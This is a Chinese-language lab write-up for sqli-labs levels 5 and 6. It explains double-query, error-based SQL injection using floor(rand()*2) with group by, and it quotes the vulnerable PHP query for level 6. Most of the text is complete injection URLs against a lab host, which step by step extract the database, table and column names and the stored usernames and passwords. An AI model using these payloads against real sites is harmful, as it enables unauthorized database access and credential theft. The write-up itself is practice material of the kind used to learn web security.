sql-lab 第五、六关

哎呦呦，到第五关了，天真的我以为，还与前几关一样的思路。

傻傻的来了一波盲注，都不成功。害，还是看了一手大佬的wp

还真不一样，看这个题目都不一样，Double Injection（双查询注入）。

我们先来了解一手二次查询，说白了就是select嵌套查询嘛，一个select里面又嵌套着另一个查询。嵌套的这个语句称作子查询。例如

select concat((select database()));

解释一下，这个语句，先执行内部的再执行外面的。也就是说先执行一下select database(),然后再执行外面的这块儿。

再搞第五关这个注入之前，我们还需要熟悉几个函数：

1.count()汇总数据函数;

2.rand()随机输出一个大于0小于1的整数；

3 group by语句：也就是给你查询出来的结果分组；

4 floor()取整

5 连接两条语句

好，说那么多，我们还是在题目里找问题吧

开始注入，爆出数据库：

http://10.0.68.185/sqli-labs-master/Less-5/?id=1%27%20%20union%20select%20null,count(*),concat((select%20database()),floor(rand()*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a--+

我第一次爆的时候不知是何原因没显示出来。等到我第三刷新的时候就出来了。

 接下来就要爆表名了：

http://10.0.68.185/sqli-labs-master/Less-5/?id=1%27%20union%20SELECT%20null,count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

 这是第一张表，接下来我们爆第二张

http://10.0.68.185/sqli-labs-master/Less-5/?id=1%27%20union%20SELECT%20null,count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%201,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

 第三张表：

http://10.0.68.185/sqli-labs-master/Less-5/?id=1%27%20union%20SELECT%20null,count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%202,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

 第四张表：

http://10.0.68.185/sqli-labs-master/Less-5/?id=1%27%20union%20SELECT%20null,count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%203,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

 开始爆列名：

http://10.0.68.185/sqli-labs-master/Less-5/?id=1%27%20union%20SELECT%20null,count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27limit%2012,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

第二列：

http://10.0.68.185/sqli-labs-master/Less-5/?id=1%27%20union%20SELECT%20null,count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27limit%2013,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

这样就爆出来了。

最后就是数据了，开始爆：

http://10.0.68.185/sqli-labs-master/Less-5/?id=1%27%20union%20SELECT%20null,count(*),concat((select%20username%20from%20users%20limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

 这是第一个，接下来第二个密码

http://10.0.68.185/sqli-labs-master/Less-5/?id=1%27%20union%20SELECT%20null,count(*),concat((select%20password%20from%20users%20limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

 终于全部都出来了。

再注入的时候，没出来结果千万不要急，一定要多试几次，多刷新刷新，不要慌，爆的时候，毕竟需要缓冲时间的嘛。多刷新刷新。

第六关的思路与第五关一致，只是闭合方式为" 就是双引号。

可以去查看一手第六关的源码：

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";